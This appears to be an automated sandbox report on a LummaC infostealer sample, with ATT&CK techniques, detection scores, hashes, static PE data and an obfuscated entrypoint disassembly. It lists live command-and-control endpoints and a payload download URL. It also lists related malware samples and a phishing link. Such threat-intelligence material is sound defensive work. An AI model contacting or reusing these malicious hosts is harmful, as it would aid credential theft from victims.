Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Query Registry	Remote Desktop Protocol	31 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	41 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
tyhkamwdmrg.exe	53%	ReversingLabs	Win32.Trojan.LummaStealer
tyhkamwdmrg.exe	44%	Virustotal		Browse
tyhkamwdmrg.exe	100%	Avira	HEUR/AGEN.1314134
tyhkamwdmrg.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://147.45.47.81/O	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apiE	0%	Avira URL Cloud	safe
http://147.45.47.81/	0%	Avira URL Cloud	safe
https://atten-supporse.biz/api?	0%	Avira URL Cloud	safe
http://147.45.47.81/conhost.exe	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apig	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apia	0%	Avira URL Cloud	safe
http://147.45.47.81/conhost.exe.	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apimff	0%	Avira URL Cloud	safe
http://147.45.47.81/D	0%	Avira URL Cloud	safe
https://atten-supporse.biz/api3	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apip	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apij	0%	Avira URL Cloud	safe
https://atten-supporse.biz/api)	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apig	0%	Virustotal		Browse
http://147.45.47.81/	17%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
atten-supporse.biz	172.67.165.166	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://atten-supporse.biz/api	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://atten-supporse.biz/apiE	tyhkamwdmrg.exe, 00000000.00000002.2308492418.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1859804227.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1926372878.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1860075199.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147572056.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.81/	tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://atten-supporse.biz/api?	tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.81/O	tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/openU	tyhkamwdmrg.exe, 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	tyhkamwdmrg.exe, 00000000.00000003.1730861886.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758575659.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758762256.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758651551.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730779933.000000000433F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	tyhkamwdmrg.exe, 00000000.00000003.1730861886.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758575659.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758762256.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758651551.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730779933.000000000433F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.81/conhost.exe	tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000002.2308492418.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.000000000167B000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147572056.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000002.2307538342.000000000167B000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apig	tyhkamwdmrg.exe, 00000000.00000002.2307730831.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147669542.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1926422589.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://atten-supporse.biz/apia	tyhkamwdmrg.exe, 00000000.00000003.1758636587.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758680740.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	tyhkamwdmrg.exe, 00000000.00000003.1730861886.0000000004313000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	tyhkamwdmrg.exe, 00000000.00000003.1730779933.0000000004341000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.81/conhost.exe.	tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz/apimff	tyhkamwdmrg.exe, 00000000.00000003.1840142935.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz:443/api	tyhkamwdmrg.exe, 00000000.00000003.2147876254.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1926455278.00000000016C8000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://147.45.47.81/D	tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	tyhkamwdmrg.exe, 00000000.00000003.1730861886.0000000004313000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	tyhkamwdmrg.exe, 00000000.00000003.1926455278.00000000016C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/api3	tyhkamwdmrg.exe, 00000000.00000003.1758636587.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758680740.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/	tyhkamwdmrg.exe, 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apip	tyhkamwdmrg.exe, 00000000.00000003.1758636587.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758680740.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apij	tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1781818008.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1781512942.00000000042EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/api)	tyhkamwdmrg.exe, 00000000.00000002.2308492418.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1859804227.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1926372878.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1860075199.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147572056.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.47.81	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	false
172.67.165.166	atten-supporse.biz	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566334
Start date and time:	2024-12-02 01:37:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	tyhkamwdmrg.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 82% Number of executed functions: 36 Number of non-executed functions: 170
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.47.81	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	Script.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	n7ZKbApaa3.dll	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81/WinRing0x64.sys
	PqSIlYOaIF.exe	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81/WinRing0x64.sys
	Set-up.exe	Get hash	malicious	LummaC	Browse	147.45.47.81/conhost.exe
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81/conhost.exe
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81/conhost.exe
	BlazeHack.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	147.45.47.81/WinRing0x64.sys
172.67.165.166	Purchase Order#23113.exe	Get hash	malicious	FormBook	Browse	www.xaqh.info/vr01/?Vr=L4nHMf5x&YN9P-lUP=IPhgDyoL8PETBIlA+LipHiQIJ5tdYs8vDEe7V5bx7imqp8ZSB+vz7lbDvtba/1SpkLzf

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	kyhjasehs.exe	Get hash	malicious	DCRat	Browse	147.45.47.156
	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81
	KBKHHYI29L.msi	Get hash	malicious	Amadey	Browse	147.45.47.167
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	193.233.234.120
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse	147.45.178.112
	w3gnakXO9S.exe	Get hash	malicious	Raccoon Stealer v2	Browse	193.233.132.12
	TuohOGyKsk.exe	Get hash	malicious	Unknown	Browse	193.233.203.37
	TuohOGyKsk.exe	Get hash	malicious	Unknown	Browse	193.233.203.37
	ZjH6H6xqo7.exe	Get hash	malicious	LummaC	Browse	147.45.44.131
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.47.81
CLOUDFLARENETUS	mtbkkesfthae.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	jgurtgjasdth.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.65
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	Get hash	malicious	Unknown	Browse	104.16.167.228
	https://mailsuite.com/l/da0a2c0ab02d9bb44a69b1f44c53c2c83f9a5663?w=ZGF2aWRAZGtlcnNoYXcuY29t&url=https://91.files.caturinsaat.com&u=11191979&signature=bfd2d49b28a21747	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	http://svchorst.com	Get hash	malicious	Unknown	Browse	104.17.223.152
	tDLozbx48F.exe	Get hash	malicious	Gurcu Stealer	Browse	104.26.6.177
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	jgurtgjasdth.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.165.166

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.990836251406214
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	tyhkamwdmrg.exe
File size:	1'272'832 bytes
MD5:	949249a7efcd8c6fd21bc9ffe9ecfdbb
SHA1:	e335b63c7accfd306efb2cd83d3d669b915f6f15
SHA256:	bfffe1926c7463a2f8dca190e700a5ff390cb028edfe1bb80491aaf706520123
SHA512:	309e94d267b55bfb58547a021a53bebfed612da42c5c8dfe55063ed40188c0535095c7a19e5c56adeca53b268ddaa7dbac38857abe1dadca146cc7e7c90cf7b6
SSDEEP:	24576:JjcQicewyhMtgqWxjY5w0u94YFrHzNgV+RoSrzFVdTEjAi7xyfPw:VZizH+OTx4w0erHzNgV+o4z7GB
TLSH:	024533AA50070B37C8174838CD914E5D6FA1B5AB6B3BB408C3F918D99B4CE534F56F8A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....WKg..........................................@...........................;...........@................................. P-....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41d30f
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674B57E7 [Sat Nov 30 18:22:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	71cc5af9daad65e58c6f29c42cdf9201

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00401000h
call 00007F4B2C4FEED6h
call far 5DE5h : 8B10C483h
jmp 00007F4B2C89AA12h
clc
dec esp
jc 00007F4B2C4FEEFAh
in eax, BEh
or eax, D29D5D0Ah
dec esp
in eax, E2h
mov ebx, C1CAB169h
inc edx
mov byte ptr [ebx-193A1E64h], bh
mov ebp, 6DE35F49h
xchg eax, ecx
jmp 00007F4B57C202A9h
jne 00007F4B2C4FEF19h
push ecx
pop ds
mov dword ptr [esi], edi
push ecx
and eax, ebp
and ch, byte ptr [ecx-7Ch]
pop ebx
mov ch, 29h
push edi
lds edx, fword ptr [edi+6C5161F7h]
xchg eax, ebx
out 3Dh, al
cmc
dec edi
out C5h, eax
rol dword ptr [F68EFEC8h], 54h
cmp ch, byte ptr [ecx+122B8736h]
out A7h, eax
lahf
sbb dword ptr [ecx], ebx
test al, E2h
rcl dword ptr [ebp+36D1C949h], 42h
or bl, byte ptr [1F312F99h]
cmp ebx, ebx
dec eax
pop eax
mov al, byte ptr [DC43F4E2h]
push ebp
iretd
rol byte ptr [ecx+ebp*2], cl
dec edx
mov eax, F5C4C155h
inc ecx
jnbe 00007F4B2C4FEEBFh
inc eax
cmpsb
sti
sbb eax, 615E0196h
mov bh, 1Dh
adc bl, byte ptr [ecx-3A0105DFh]
dec edi
mov dword ptr [AAA36D1Bh], ebx
adc edi, ebp
push eax
xchg eax, esi
std
inc ebp
cmpsb
mov bh, E6h
push es
xor al, FCh
xchg eax, esp
movsb
call 00007F4B20A2C1C0h
xor byte ptr [ecx-7Bh], cl
std
sbb ebp, dword ptr [edx]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d5020	0x214	.data
